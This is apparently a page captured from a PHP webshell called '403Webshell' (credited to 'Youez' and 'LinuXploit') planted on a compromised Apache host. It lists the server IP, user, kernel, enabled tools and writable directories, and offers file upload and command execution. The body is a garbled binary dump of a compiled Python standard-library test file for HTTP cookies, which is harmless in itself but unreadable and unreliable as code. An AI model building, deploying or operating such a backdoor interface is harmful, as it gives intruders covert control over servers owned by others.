403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_http_cookies.cpython-36.opt-2.pyc
3

�
�^J�@s~ddlZddlmZmZmZddlZddlmZddlZddl	Z	Gdd�dej
�ZGdd�dej
�Zdd	�Z
ed
krze
�dS)�N)�run_unittest�run_doctest�check_warnings)�cookiesc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!S)"�CookieTestscCs$t�|_|jj�tjddt�dS)N�ignorez.* class is insecure.*)r�_warnings_manager�	__enter__�warnings�filterwarnings�DeprecationWarning)�self�r�6/opt/alt/python36/lib64/python3.6/test_http_cookies.py�setUps
zCookieTests.setUpcCs|jjddd�dS)N)r�__exit__)r
rrr�tearDownszCookieTests.tearDowncCs�dddd�ddd�dd	d
iddd�d
d	diddd�dddiddd�dddddd�ddjd'�d�g}x~|D]v}tj�}|j|d"�|jt|�|d#�|j|jdd$�|d%�x.t|d&j��D]\}}|j||j	|�q�WqhWdS)(Nzchips=ahoy; vienna=fingerZahoyZfinger)ZchipsZviennaz,<SimpleCookie: chips='ahoy' vienna='finger'>z0Set-Cookie: chips=ahoy
Set-Cookie: vienna=finger)�data�dict�repr�outputz)keebler="E=mc2; L=\"Loves\"; fudge=\012;"ZkeeblerzE=mc2; L="Loves"; fudge=
;z5<SimpleCookie: keebler='E=mc2; L="Loves"; fudge=\n;'>z5Set-Cookie: keebler="E=mc2; L=\"Loves\"; fudge=\012;"z
keebler=E=mc2zE=mc2z<SimpleCookie: keebler='E=mc2'>zSet-Cookie: keebler=E=mc2zkey:term=value:termzkey:termz
value:termz%<SimpleCookie: key:term='value:term'>zSet-Cookie: key:term=value:termza=b; c=[; d=r; f=h�b�[�r�h)�a�c�d�fz'<SimpleCookie: a='b' c='[' d='r' f='h'>�
�Set-Cookie: a=b�Set-Cookie: c=[�Set-Cookie: d=r�Set-Cookie: f=hrr)�seprr)r r!r"r#)
�joinr�SimpleCookie�load�assertEqualrr�sorted�items�value)r
�casesZcase�C�k�vrrr�
test_basics>
zCookieTests.test_basiccCs�tj�}|jd�|j|djd�|j|ddd�|j|ddd�|j|jdg�d�|j|j�d	�|j|jdg�d
�dS)Nz/Customer="WILE_E_COYOTE"; Version=1; Path=/acme�Customer�
WILE_E_COYOTE�version�1�pathz/acmez0Set-Cookie: Customer="WILE_E_COYOTE"; Path=/acmez�
        <script type="text/javascript">
        <!-- begin hiding
        document.cookie = "Customer=\"WILE_E_COYOTE\"; Path=/acme; Version=1";
        // end hiding -->
        </script>
        z�
        <script type="text/javascript">
        <!-- begin hiding
        document.cookie = "Customer=\"WILE_E_COYOTE\"; Path=/acme";
        // end hiding -->
        </script>
        )rr&r'r(r+r�	js_output)r
r-rrr�	test_loadFs

zCookieTests.test_loadcCs(tj�}d|d<|j|jdg�d�dS)Nzsome,funky;stuff�valz(Set-Cookie: val="some\054funky\073stuff")rr&r(r)r
r-rrr�test_extended_encode_sz CookieTests.test_extended_encodecCs�tjd�}d|dd<|j|j�jd��tj�}|jd�|j|ddd�tj�}|jd�|j|ddd	�tjd�}d
|dd<|j|j�d�dS)
NzCustomer="WILE_E_COYOTE"rr1�expiresZGMTz3Customer="W"; expires=Wed, 01 Jan 2010 00:00:00 GMTzWed, 01 Jan 2010 00:00:00 GMTz1Customer="W"; expires=Wed, 01 Jan 98 00:00:00 GMTzWed, 01 Jan 98 00:00:00 GMT�
zmax-agez0Set-Cookie: Customer="WILE_E_COYOTE"; Max-Age=10)rr&�
assertTruer�endswithr'r()r
r-rrr�test_special_attrsgs




zCookieTests.test_special_attrscCs6tjd�}d|dd<d|dd<|j|j�d�dS)NzCustomer="WILE_E_COYOTE"Tr1�secure�httponlyz6Set-Cookie: Customer="WILE_E_COYOTE"; HttpOnly; Secure)rr&r(r)r
r-rrr�test_set_secure_httponly_attrs~s


z*CookieTests.test_set_secure_httponly_attrscCs:tj�}|jd�|j|dd�|j|dd�dS)Nzeggs=scrambled; Path=/bacon�eggsr@r?)rr&r'�assertFalse)r
r-rrr�)test_secure_httponly_false_if_not_present�s
z5CookieTests.test_secure_httponly_false_if_not_presentcCs:tj�}|jd�|j|dd�|j|dd�dS)Nz-eggs=scrambled; httponly; secure; Path=/baconrBr@r?)rr&r'r<)r
r-rrr�$test_secure_httponly_true_if_present�s
z0CookieTests.test_secure_httponly_true_if_presentcCsbtj�}|jd�|j|dd�|j|dd�|j|ddd�|j|ddd�dS)Nz5eggs=scrambled; httponly=foo; secure=bar; Path=/baconrBr@r?�foo�bar)rr&r'r<r()r
r-rrr�'test_secure_httponly_true_if_have_value�s
z3CookieTests.test_secure_httponly_true_if_have_valuecCs&tj�}|jd�|j|j�d�dS)Nz=eggs  =  scrambled  ;  secure  ;  path  =  bar   ; foo=foo   zASet-Cookie: eggs=scrambled; Path=bar; Secure
Set-Cookie: foo=foo)rr&r'r(r)r
r-rrr�test_extra_spaces�s

zCookieTests.test_extra_spacescCs�tj�}|jd�|j|djd�|j|ddd�|j|ddd�|j|jdg�d�|j|j�d	�|j|jdg�d
�dS)Nz3Customer="WILE_E_COYOTE"; Version="1"; Path="/acme"r1r2r3r4r5z/acmez0Set-Cookie: Customer="WILE_E_COYOTE"; Path=/acmez�
        <script type="text/javascript">
        <!-- begin hiding
        document.cookie = "Customer=\"WILE_E_COYOTE\"; Path=/acme; Version=1";
        // end hiding -->
        </script>
        z�
        <script type="text/javascript">
        <!-- begin hiding
        document.cookie = "Customer=\"WILE_E_COYOTE\"; Path=/acme";
        // end hiding -->
        </script>
        )rr&r'r(r+rr6)r
r-rrr�test_quoted_meta�s

zCookieTests.test_quoted_metac
CsDtj�}x6dD].}|j|�|jt|�i�|j|j�d�qWdS)
N�]foo=x�[foo=x�
blah]foo=x�
blah[foo=x�Set-Cookie: foo=bar�Set-Cookie: foo�foo=bar; baz�baz; foo=bar�secure;foo=bar�Version=1;foo=bar�)
rKrLrMrNrOrPrQrRrSrT)rr&r'r(rr)r
r-�srrr�test_invalid_cookies�s
z CookieTests.test_invalid_cookiesc
Cs�d}d|}tj�}|j|�|j|j�|�xRttjd�D]@}|j|d��*tj	tj
||d��}|j|j�|�WdQRXq>WdS)Nz/Customer="WILE_E_COYOTE"; Path=/acme; Version=1zSet-Cookie: %s�)�proto)Zprotocol)rr&r'r(r�range�pickle�HIGHEST_PROTOCOL�subTest�loads�dumps)r
�rawdataZexpected_outputr-rYZC1rrr�test_pickle�s
zCookieTests.test_picklec	Cs2d}tj�}|jtj��|j|�WdQRXdS)Nz
a=b; c,d=e)rr&�assertRaises�CookieErrorr')r
r`r-rrr�test_illegal_chars�szCookieTests.test_illegal_charscCsHtj�}d|d<|jt|d�d�d|dd<|jt|d�d�dS)N�©rFzSet-Cookie: foo="\251"u
comment ©�commentz.Set-Cookie: foo="\251"; Comment="comment \251")rr&r(�str)r
rrrr�test_comment_quoting�s
z CookieTests.test_comment_quotingN)�__name__�
__module__�__qualname__rrr0r7r9r>rArDrErHrIrJrWrardrhrrrrr
s 1
rc@sdeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�MorselTestscCsltj�}|j|j�|j|j�|j|j�|j|j�tjjj��x"|j	�D]\}}|j|d|�qNWdS)NrU)
r�MorselZassertIsNone�keyr+�coded_valuer(�keys�	_reservedr*)r
�morselrnr8rrr�
test_defaults�szMorselTests.test_defaultscCs�tj�}x*|jD] }|j|j|��d|||<qWx"|jD]}|j||d|�q<Wx(dj�D]}|jtj|j	|d|�qbWdS)Nz%s_valuezthe holy hand grenade)
rrmrqr<Z
isReservedKeyr(�splitrbrc�__setitem__)r
�M�irrr�test_reserved_keys�szMorselTests.test_reserved_keyscCs�tj�}x,|jD]"}|jtj|j|d|d|�qWxjdj�D]^}d|d<|j|d|d|�|j|j�d|d|f�d|d|f}|j|j	�|�q@Wx*dD]"}|jtj|j|d|d|�q�WdS)Nz%s_valuez(thou cast _the- !holy! ^hand| +*grenade~z/foor5z%s_valz%s_coded_valzSet-Cookie: %s=%s; Path=/fooz�
        <script type="text/javascript">
        <!-- begin hiding
        document.cookie = "%s=%s; Path=/foo";
        // end hiding -->
        </script>
        �foo bar�foo@bar)ryrz)
rrmrqrbrc�setrtr(rr6)r
rvrwZexpected_js_outputrrr�test_setters
zMorselTests.test_setterc"Cs�tj�}|jtd��d|_WdQRX|jtd��d|_WdQRX|jtd��d|_WdQRX|jtd��|jdddd	d
�WdQRXdS)Nz\bkey\brUz	\bvalue\bz\bcoded_value\bz\bLegalChars\brnr+roz.*)Z
LegalChars)rrmZassertWarnsRegexrrnr+ror{)r
rrrrr�test_deprecationszMorselTests.test_deprecationc	Cs�d}ddddd�}tj�}|j|�|j|�tj�}|j|�|j|�|j||k�|j||k�d}xZ|D]R}|j|��>tj�}|j|�|j|�|j||k�|j||k�WdQRXqpWtj�}|j|�|j|�d
|d<|j||k�|j||k�|jtj�dk�|jtj�dk�|jtj�d
k�|jtj�d
k�ttj�j��}|jtj�|k�|jtj�|k�tj�}|j|�|j|�|j|t	|�k�|j|t	|�k�dS)Nrnr+�"value"�/rFzexample.com�)r5rf�domainr3�mismatchrGrfrXrU)rnr+r~�rnr+r��rnr�r~�r�r+r~)r�r�r�)
rrm�updater{r<rCr]�listr*r)	r
Z	base_case�attribs�morsel_a�morsel_br,Zcase_br*rrrrr�test_eq(sR










zMorselTests.test_eqcCs�tj�}|jddd�|jddd��|j�}|j|tj�|j||�|j||�tj|�}|j|tj�|j||�|j||�dS)NrFrG�bazr�)r3rf)rrmr{r��copy�assertIsInstanceZassertIsNotr()r
r�r�rrr�	test_copy\s

zMorselTests.test_copyc
Cs�tj�}d|d<|j|dd�d|d<|j|dd�d|d<|j|dd�|jtj��d	|d
<WdQRX|jd
|�dS)Nrr:r��Versionr3zexample.com�DOMAINr�r+�invalid)rrmr(rbrc�assertNotIn)r
rrrrr�test_setitemmszMorselTests.test_setitemc
Cs�tj�}|jddd��|j|jdd�d�|j|dd�|j|jdd�d�|j|d	d�|j|jd
d�d�|j|dd�|jtj��|jdd�WdQRX|jd|�dS)
Nzexample.comr�)r�r3r:r+rUr�rXr3r�r�r�)rrmr�r(�
setdefaultrbrcr�)r
rrrrr�test_setdefaultzs
zMorselTests.test_setdefaultcCs<dddd�}tj�}|j|�|j|dd�|j|dd�|j|dd�tj�}|jt|j���|j|dd�|j|dd�|j|dd�tj�}|jdd	�|j�D��|j|dd�|j|dd�|j|dd�|jtj��|jd
di�WdQRX|jd
|�|jt	|j�|jt	|jd�dS)
NrXr�zexample.com)r:r�r�r:r3r�css|]\}}||fVqdS)Nr)�.0r.r/rrr�	<genexpr>�sz*MorselTests.test_update.<locals>.<genexpr>r�r+r)
rrmr�r(r�r*rbrcr��	TypeError)r
r�rrrrr�test_update�s*
zMorselTests.test_updatecCs�tj�}|jddd�|jddd��xnttjd�D]\}|j|d��Ftjtj	||��}|j
|tj�|j||�|jt|�t|��WdQRXq6WdS)NrFrGr�r�)r3rfrX)rY)
rrmr{r�rZr[r\r]r^r_r�r(rg)r
r�rYr�rrrra�s
zMorselTests.test_picklecCstj�}|jt|�d�|jt|�d�|jddd�|jt|�d�|jt|�d�|jdd	d
dddd
��|jt|�d�|jt|�d�d|d<d|d<|jt|�d�|jt|�d�tj�}|jddd�d|d<|jt|�d�|jt|�d�dS)Nz<Morsel: None=None>zSet-Cookie: None=Nonernr8Z	coded_valz<Morsel: key=coded_val>zSet-Cookie: key=coded_valrrFzexample.comrrX)r5rfr�zmax-ager?r3zV<Morsel: key=coded_val; Comment=foo; Domain=example.com; Max-Age=0; Path=/; Version=1>zXSet-Cookie: key=coded_val; Comment=foo; Domain=example.com; Max-Age=0; Path=/; Version=1Tr?r@zh<Morsel: key=coded_val; Comment=foo; Domain=example.com; HttpOnly; Max-Age=0; Path=/; Secure; Version=1>zjSet-Cookie: key=coded_val; Comment=foo; Domain=example.com; HttpOnly; Max-Age=0; Path=/; Secure; Version=1r:zA<Morsel: key=coded_val; expires=\w+, \d+ \w+ \d+ \d+:\d+:\d+ \w+>zCSet-Cookie: key=coded_val; expires=\w+, \d+ \w+ \d+ \d+:\d+:\d+ \w+)rrmr(rrgr{r�ZassertRegex)r
rrrrr�	test_repr�s<






zMorselTests.test_reprN)rirjrkrsrxr|r}r�r�r�r�r�rar�rrrrrl�s	4
rlcCsttt�tt�dS)N)rrrlrrrrrr�	test_main�s
r��__main__)r�Ztest.supportrrrZunittestZhttprr[r
ZTestCaserrlr�rirrrr�<module>s]x

Youez - 2016 - github.com/yon3zu
LinuXploit